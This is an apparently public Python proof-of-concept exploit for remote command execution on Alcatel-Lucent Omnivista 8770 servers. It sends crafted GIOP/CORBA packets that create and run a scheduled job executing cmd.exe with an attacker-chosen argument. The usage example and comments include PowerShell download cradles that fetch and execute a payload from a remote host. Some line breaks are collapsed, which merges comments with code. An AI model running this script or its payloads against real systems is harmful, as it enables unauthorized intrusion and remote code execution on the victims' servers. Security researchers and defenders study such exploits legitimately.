import socket
import time
import sys
import os
# ref https://blog.malerisch.net/# Omnivista Alcatel-Lucent running on Windows Serverif len(sys.argv) < 2:
print "Usage: %s <target> <command>"% sys.argv[0]
print "eg: %s 192.168.1.246 \"powershell.exe -nop -w hidden -c \$g=new-object net.webclient;IEX \$g.downloadstring('http://192.168.1.40:8080/hello');\""% sys.argv[0]
sys.exit(1)
target = sys.argv[1]
argument1 = ' '.join(sys.argv[2:])# so we need to get the biosname of the target... so run this poc exploit script should be run in kali directly...
netbiosname = os.popen("nbtscan -s : "+target+" | cut -d ':' -f2").read()
netbiosname = netbiosname.strip("\n")# dirty functions to do hex magic with bytes...### each variable has size byte before, which includes the string + "\x00" a NULL byte### needs to calculate for each###
def calcsize(giop):
s = len(giop.decode('hex'))
h = hex(s)#"\x04" -> "04"return h[2:].zfill(8)# it's 4 bytes for the size
def calcstring(param): # 1 byte size calc
s = (len(param)/2)+1
h = hex(s)return h[2:].zfill(2)# assuming it is only 1 byte , again it's dirty...
def calcstring2(param):
s = (len(param)/2)+1
h = hex(s)return h[2:].zfill(4)###GIOP request size is specified at the 11th byte# 0000 47 49 4f 50 01 00 00 00 00 00 00 d8 00 00 00 00GIOP............# d8 is the size of GIOP REQUEST# GIOP HEADER Is 12 bytes -# GIOP REQUEST PAYLOAD comes after and it's defined at the 11th byte#phase 1 - add a jobset
giopid = 1 # an arbitrary ID can be put there...# there are checks in the size of the username.. need to find where the size is specified - anyway, 58 bytes seems all right...
usernamedata = "xxx.y.zzzzz,cn=Administrators,cn=8770 administration,o=nmc".encode('hex')# original "383737302061646d696e697374726174696f6e2c6f3d6e6d63"#print "Size of usernamedata" + str(len(usernamedata.decode('hex')))
jobname = "MYJOB01".encode('hex')# size of 7 bytes # check also in the captured packet...
addjobset = "47494f50010000000000012600000000"+"00000001"+"01000000000000135363686564756c6572496e7465726661636500000000000a4164644a6f625365740000000000000000000008"+ jobname +"00000007e0000000060000001b00000010000000240000000000000000000000000000000000000000000000000000000000000000002a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000083131313131313100010000000000000000000000000000010000000000000000000000000000003f7569643d"+ usernamedata +"00000000000a6f6d6e69766973626200"# this last part can be changed???
print "Alcatel Lucent Omnivista 8770 2.0, 2.6 and 3.0 - RCE via GIOP/CORBA - @malerisch"
print "Connecting to target..."
p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
p.connect((target, 30024))#p = remote(target, 30024, "ipv4", "tcp")
print "Adding a job..."
p.send(addjobset.decode('hex'))#p.recv()data = p.recv(1024)
s = len(data)#objectkey = "" # last 16 bytes of the response!
objectkey = data[s-16:s].encode('hex')#print objectkey# phase 2 - active jobset
print "Sending active packet against the job"
activegiopid = 2
active = "47494f50010000000000003100000000"+"00000002"+"0100000000000010"+ objectkey +"0000000741637469766500000000000000"#print active
p.send(active.decode('hex'))
data2 = p.recv(1024)#print data2# phase3 add task
addjobid = 3
print "Adding a task...."
taskname = "BBBBBBB".encode('hex')
servername = netbiosname.encode('hex')
command = "C:\Windows\System32\cmd.exe".encode('hex')#on 32bit#command = "C:\Windows\SysWOW64\cmd.exe".encode('hex') #on 64bit
commandsize = hex((len(command.decode('hex'))+1))
commandsize = str(commandsize).replace("0x","")#print "Command size: "+ str(commandsize)#print command.decode('hex')#time.sleep(10)#powershell = str(command)#powershell = "powershell.exe -nop -c $J=new-object net.webclient;IEX $J.downloadstring('http://192.168.1.40:8080/hello');"#-nop -w hidden -c $J=new-object net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $J.downloadstring('http://10.190.127.154:8080/');#-nop -w hidden -c $J=new-object net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $J.downloadstring('http://10.190.127.154:8080/');
argument = str("/c "+argument1).encode('hex')#argument = str("/c notepad.exe").encode('hex')#print len(argument.decode('hex'))#argumentsize = len(str("/c "+powershell))+1#print "Argument size: "+str(argumentsize)
argumentsize = calcstring2(argument)#print "argument size: "+str(argumentsize)#print argument.decode('hex')
def calcpadd(giop):
defaultpadding = "00000000000001"
check = giop + defaultpadding + fixedpadding
s = len(check)#print "Size: "+str(s)if(s/2)% 4 == 0:
#print "size ok!"return check
else:
# fix the default padding#print "Size not ok, recalculating padd..."
dif = (s/2)% 4
#print "diff: "+str(dif)
newpadding = defaultpadding[dif*2:]#print "Newpadding: " +str(newpadding)return giop + newpadding + fixedpadding
addjobhdr = "47494f5001000000"# 8 bytes + 4 bytes for message size, including size of the giop request message
fixedpadding = "000000000000000100000000000000010000000000000002000000000000000000000000000000000000000f0000000000000000000000000000000000000002000000000000000000000000"
variablepadding = "000000000001"#print calcstring(servername)#print calcstring(taskname)#print "Command:" +str(command)#print "command size:"+str(commandsize)
addjob = "00000000000000b30100000000000010"+ objectkey +"000000074164644a6f62000000000000000000"+ calcstring(taskname)+ taskname +"0000000001000000"+ commandsize + command+"00000000"+ calcstring(servername)+ servername +"000000"+ argumentsize + argument +"00"#print addjob
addjobfin = calcpadd(addjob)#print addjobfin.decode('hex')
addjobsize = calcsize(addjobfin)#print "Lenght of the addjob: "+str(len(addjobfin.decode('hex')))# we need to add the header
finalmsg = addjobhdr + addjobsize + addjobfin
p.send(finalmsg.decode('hex'))
data3 = p.recv(1024)#print data3# phase4 - execute task
executeid = 4
print "Executing task..."
execute = "47494f50010000000000003500000000000001100100000000000010"+ objectkey +"0000000b457865637574654e6f7700000000000000"
p.send(execute.decode('hex'))
data4 = p.recv(1024)
print "All packets sent..."
print "Exploit sequence completed, command should have been executed...:-)"
p.close()# optional requests to remove the job after the exploitation### in metasploit, we should migrate to another process and then call an "abort" function of Omnivista##phase5 - abort the job
canceljob = "47494f500100000000000030000000000000008e0100000000000010"+ objectkey +"0000000743616e63656c000000000000"###phase6 - delete the jobset
deletejob = "47494f500100000000000038000000000000009e0100000000000010"+ objectkey +"0000000d44656c6574654a6f625365740000000000000000"
